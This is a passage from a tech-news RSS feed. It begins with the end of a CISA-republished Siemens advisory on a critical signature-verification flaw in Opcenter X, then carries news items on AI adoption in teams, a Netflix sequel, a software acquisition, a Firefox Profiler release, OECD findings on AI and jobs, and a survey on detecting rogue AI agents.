<div class="ics-version"><strong>Product Version:</strong><br>Opcenter X &lt; V2604</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2604 or later version<br><a href="https://support.sw.siemens.com/product/206159703/">https://support.sw.siemens.com/product/206159703/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/347.html">CWE-347 Improper Verification of Cryptographic Signature</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported this vulnerability to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-096828 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-096828 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
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<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (July 21, 2026)]]></title>
<description><![CDATA[The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:

[fatadel] Show counter values over time in profiler-cli (#6136)
[Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
[Nazım Can Altı...]]></description>
<link>https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/</guid>
<pubDate>Tue, 21 Jul 2026 16:11:42 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of the <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">Firefox Profiler</a> is now live! Check out the full changelog below to see what’s changed:</p>
<p><strong>Highlights:</strong></p>
<ul>
<li>[fatadel] Show counter values over time in profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6136" rel="noopener nofollow ugc">#6136</a>)</li>
<li>[Markus Stange] More typed arrays: sample + counter times, some frametable columns (<a href="https://github.com/firefox-devtools/profiler/pull/6139" rel="noopener nofollow ugc">#6139</a>)</li>
<li>[Nazım Can Altınova] Add marker handles to <code>profiler-cli thread network</code> (<a href="https://github.com/firefox-devtools/profiler/pull/6172" rel="noopener nofollow ugc">#6172</a>)</li>
<li>[Nazım Can Altınova] Surface network activity across profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6175" rel="noopener nofollow ugc">#6175</a>)</li>
<li>[Nazım Can Altınova] Add <code>profile meta</code> command to profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6177" rel="noopener nofollow ugc">#6177</a>)</li>
<li>[Markus Stange] Allow raw marker table’s <code>startTime</code> and <code>endTime</code> columns to be Float64Array (<a href="https://github.com/firefox-devtools/profiler/pull/6169" rel="noopener nofollow ugc">#6169</a>)</li>
</ul>
<p><strong>Other Changes:</strong></p>
<ul>
<li>[Sky Ning] Skip preview links for non-main PRs (<a href="https://github.com/firefox-devtools/profiler/pull/6161" rel="noopener nofollow ugc">#6161</a>)</li>
<li>[spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (<a href="https://github.com/firefox-devtools/profiler/pull/6160" rel="noopener nofollow ugc">#6160</a>)</li>
<li>[Markus Stange] Make profile-conversion snapshots more compact and meaningful (<a href="https://github.com/firefox-devtools/profiler/pull/6152" rel="noopener nofollow ugc">#6152</a>)</li>
<li>[Nazım Can Altınova] Only render a marker url field as a link when the whole value is a URL (<a href="https://github.com/firefox-devtools/profiler/pull/6163" rel="noopener nofollow ugc">#6163</a>)</li>
<li>[fatadel] Show each counter’s owning process in profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6164" rel="noopener nofollow ugc">#6164</a>)</li>
<li>[Nazım Can Altınova] Document the pre-existing thread info and network JSON schemas in the cli (<a href="https://github.com/firefox-devtools/profiler/pull/6171" rel="noopener nofollow ugc">#6171</a>)</li>
<li>[Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (<a href="https://github.com/firefox-devtools/profiler/pull/6168" rel="noopener nofollow ugc">#6168</a>)</li>
<li>[Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (<a href="https://github.com/firefox-devtools/profiler/pull/6167" rel="noopener nofollow ugc">#6167</a>)</li>
<li>[Markus Stange] Remove unused samples.thread column (<a href="https://github.com/firefox-devtools/profiler/pull/6151" rel="noopener nofollow ugc">#6151</a>)</li>
<li>[Markus Stange] Fixed botched merge which broke ‘yarn ts’ (<a href="https://github.com/firefox-devtools/profiler/pull/6174" rel="noopener nofollow ugc">#6174</a>)</li>
<li>[Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (<a href="https://github.com/firefox-devtools/profiler/pull/6176" rel="noopener nofollow ugc">#6176</a>)</li>
<li>[nightcityblade] Fix light theme text selection colors (<a href="https://github.com/firefox-devtools/profiler/pull/6186" rel="noopener nofollow ugc">#6186</a>)</li>
<li>[Nazım Can Altınova] Import source map URLs from Chrome DevTools traces (<a href="https://github.com/firefox-devtools/profiler/pull/6190" rel="noopener nofollow ugc">#6190</a>)</li>
<li>[Nazım Can Altınova] Rename yarn <code>build-profiler-cli</code> script to <code>build-cli</code> (<a href="https://github.com/firefox-devtools/profiler/pull/6191" rel="noopener nofollow ugc">#6191</a>)</li>
<li>[Nazım Can Altınova] Migrate husky to version 9 (<a href="https://github.com/firefox-devtools/profiler/pull/6201" rel="noopener nofollow ugc">#6201</a>)</li>
<li>[Nazım Can Altınova] Fix horizontal overflow when the transform navigator is long (<a href="https://github.com/firefox-devtools/profiler/pull/6199" rel="noopener nofollow ugc">#6199</a>)</li>
<li>[fatadel] Add a ‘hexadecimal’ marker schema field format (<a href="https://github.com/firefox-devtools/profiler/pull/6197" rel="noopener nofollow ugc">#6197</a>)</li>
<li>[Nazım Can Altınova] Bump source-map to 0.8.0 and remove the old type workaround (<a href="https://github.com/firefox-devtools/profiler/pull/6202" rel="noopener nofollow ugc">#6202</a>)</li>
<li>[Nazım Can Altınova] <img alt=":clockwise_vertical_arrows:" class="emoji" height="20" src="https://emoji.discourse-cdn.com/twitter/clockwise_vertical_arrows.png?v=15" title=":clockwise_vertical_arrows:" width="20"> Sync: l10n → main (July 21, 2026) (<a href="https://github.com/firefox-devtools/profiler/pull/6209" rel="noopener nofollow ugc">#6209</a>)</li>
</ul>
<p>Big thanks to our amazing localizers for making this release possible:</p>
<ul>
<li>fr: parmegiani.thomas</li>
<li>fr: Théo Chevalier</li>
<li>sr: Марко Костић (Marko Kostić)</li>
<li>sv-SE: Luna Jernberg</li>
<li>tr: Grk</li>
<li>zh-CN: Ariel</li>
<li>zh-CN: Olvcpr423</li>
</ul>
<p>Find out more about the Firefox Profiler on <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">profiler.firefox.com</a>! If you have any questions, join the discussion on our <a href="https://chat.mozilla.org/#/room/%23profiler:mozilla.org" rel="noopener nofollow ugc">Matrix channel</a>!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/firefox-profiler-deployment-july-21-2026/149006">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Tue, 21 Jul 2026 13:34:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
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<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



